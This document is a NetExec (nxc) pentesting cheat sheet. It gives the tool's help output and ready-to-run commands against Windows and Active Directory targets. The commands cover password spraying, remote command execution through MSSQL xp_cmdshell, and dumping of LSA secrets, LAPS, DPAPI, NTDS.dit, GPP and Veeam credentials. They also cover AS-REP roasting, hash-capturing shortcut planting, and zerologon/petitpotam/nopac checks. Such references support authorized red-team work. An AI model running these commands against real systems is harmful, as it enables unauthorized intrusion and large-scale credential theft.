Pentesting LinuxCheatsheets
NetExec CheatSheet
CheatSheet
NetExec is a powerful tool for network enumeration, spraying, and various other penetration testing tasks. This guide provides an overview of its functionalities and commands to help you get started
Table of Contents
NXC
nxc
usage: nxc [-h] [-t THREADS] [--timeout TIMEOUT] [--jitter INTERVAL] [--verbose] [--debug] [--no-progress] [--log LOG] [-6]
[--dns-server DNS_SERVER] [--dns-tcp] [--dns-timeout DNS_TIMEOUT] [--version]
{winrm,ftp,rdp,wmi,smb,ldap,vnc,mssql,ssh} ...
options:
-h, --help show this help message and exit
--version Display nxc version
Generic:
Generic options for nxc across protocols
-t THREADS, --threads THREADS
set how many concurrent threads to use
--timeout TIMEOUT max timeout in seconds of each thread
--jitter INTERVAL sets a random delay between each authentication
Output:
Options to set verbosity levels and control output
--verbose enable verbose output
--debug enable debug level information
--no-progress do not displaying progress bar during scan
--log LOG export result into a custom file
DNS:
-6 Enable force IPv6
--dns-server DNS_SERVER
Specify DNS server (default: Use hosts file & System DNS)
--dns-tcp Use TCP instead of UDP for DNS queries
--dns-timeout DNS_TIMEOUT
DNS query timeout in seconds
Available Protocols:
{winrm,ftp,rdp,wmi,smb,ldap,vnc,mssql,ssh}
winrm own stuff using WINRM
ftp own stuff using FTP
rdp own stuff using RDP
wmi own stuff using WMI
smb own stuff using SMB
ldap own stuff using LDAP
vnc own stuff using VNC
mssql own stuff using MSSQL
ssh own stuff using SSHEnumeration
Initial Enumeration
nxc smb targetNull Authentication
nxc smb target -u '' -p ''Guest Authentication
nxc smb target -u 'guest' -p ''List Shares
nxc smb target -u '' -p '' --sharesnxc smb target -u username -p password --sharesList Usernames
nxc smb target -u '' -p '' --usersnxc smb target -u '' -p '' --rid-brutenxc smb target -u username -p password --usersLocal Authentication
nxc smb target -u username -p password --local-authUsing Kerberos
nxc smb target -u username -p password -kCheck for Hosts with SMB Signing Disabled
nxc smb target(s) --gen-relay-list relay.txtSpraying
Password Spray
nxc smb target -u users.txt -p password --continue-on-successnxc smb target -u usernames.txt -p passwords.txt --no-bruteforce --continue-on-successnxc ssh target(s) -u username -p password --continue-on-successSMB
All In One
nxc smb target -u username -p password --groups --local-groups --loggedon-users --rid-brute --sessions --users --shares --pass-polSpider_plus Module
nxc smb target -u username -p password -M spider_plusnxc smb target -u username -p password -M spider_plus -o READ_ONLY=falseDump a Specific File
nxc smb target -u username -p password -k --get-file target_file output_file --share sharenameLDAP
Enumerate Users Using LDAP
nxc ldap target -u '' -p '' --usersAll In One
nxc ldap target -u username -p password --trusted-for-delegation --password-not-required --admin-count --users --groupsMSSQL
Authentication
nxc mssql target -u username -p passwordExecute Commands Using xp_cmdshell
Use
-Xfor PowerShell and-xfor cmd
nxc mssql target -u username -p password -x command_to_executeGet a File
nxc mssql target -u username -p password --get-file output_file target_fileSecrets Dump
Dump LSA Secrets
nxc smb target -u username -p password --local-auth --lsaGMSA
nxc ldap target -u username -p password --gmsa-convert-id idnxc ldap domain -u username -p password --gmsa-decrypt-lsa gmsa_accountGroup Policy Preferences
nxc smb target -u username -p password -M gpp_passwordDump LAPS Password
nxc smb target -u username -p password --lapsDump DPAPI Credentials
nxc smb target -u username -p password --laps --dpapiDump NTDS.dit
nxc smb target -u username -p password --ntdsAsreproast
nxc ldap target -u username -p password --asreproast asrep.txtBloodhound
nxc ldap target -u username -p password --bloodhound -ns ip --collection AllUseful Modules
Webdav
Checks whether the WebClient service is running on the target
nxc smb ip -u username -p password -M webdavVeeam
Extracts credentials from the local Veeam SQL Database
nxc smb target -u username -p password -M veeamSlinky
Creates Windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions
nxc smb ip -u username -p password -M slinkyNtdsutil
Dump NTDS with ntdsutil
nxc smb ip -u username -p password -M ntdsutilLdap-checker
Checks whether LDAP signing and binding are required and/or enforced
nxc ldap target -u username -p password -M ldap-checkerCheck for Vulnerabilities
Check if the DC is vulnerable to zerologon, petitpotam, or nopac
nxc smb target -u username -p password -M zerologonnxc smb target -u username -p password -M petitpotamnxc smb target -u username -p password -M nopacCheck the MachineAccountQuota
nxc ldap target -u username -p password -M maqADCS Enumeration
nxc ldap target -u username -p password -M adcsFor more detailed installation instructions, visit the NetExec.
Última actualización